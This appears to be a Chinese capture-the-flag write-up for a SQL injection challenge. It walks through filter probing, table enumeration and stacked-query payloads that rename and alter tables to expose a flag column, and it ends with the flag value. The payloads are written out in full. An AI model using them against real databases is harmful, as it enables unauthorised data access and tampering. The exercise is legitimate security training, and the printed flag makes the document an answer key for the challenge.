目录
解题思路
1、首先通过题目,及页面提示,考虑到题目应该利用sql注入进行解决,首先试一下万能密码,查看一下回显内容
2、既然这样我们就查询一下数据库中的所有表格1' ;show tables;#,这里我们可以得到两个表格words、1919810931114514
4、查看一下两个表格的信息, 1'; show columns from `words`;#查询words表找到了两个属性一个id 一个data;1'; show columns from `1919810931114514`;#查询1919810931114514
表我们发现有关flag的提示词。
3、根据上一步题目查询我们可以推测出页面在所有访问过程中的回显,都是回显的words的内容
4、我再使用select id,data from word where id =语句查询一下words表,但是我们发现select|update|delete|drop|insert|where|等关键字都被过滤
回显的正则过滤规则:\用1' ;union seclect 1,2;#来得到,其中回显的函数全都是被过滤掉的,我们由此可以知道哪些函数没有用,这里的被过滤函数出现了select,select被过滤意味着这道题无法联合(union)注入。
5、我接下来就是用堆叠查询,因为rename和alter都没有被过滤(这里有两种解题思路)
①、将words表名修改,将1919810931114514表名修改为words,然后将原1919810931114514
表中的flag属性修改为id
1';rename table `words` to `word`(words表名修改);rename table `1919810931114514` to `words`(将1919810931114514表名修改为words);alter table `words` change `flag` `id` varchar(100);#
②、将words表名修改,将1919810931114514表名修改为words,然后在1919810931114514表中加入一个id属性,flag属性名修改为data
1';rename table `words` to `word`;rename table `1919810931114514` to `words`;alter table `words` add id int(10);alter table `words` change flag data varchar(20);#
6、最后用万能密码就回显flag
本题flag:
flag{720bbcbc-a615-4899-8bf9-999ed3291b8e}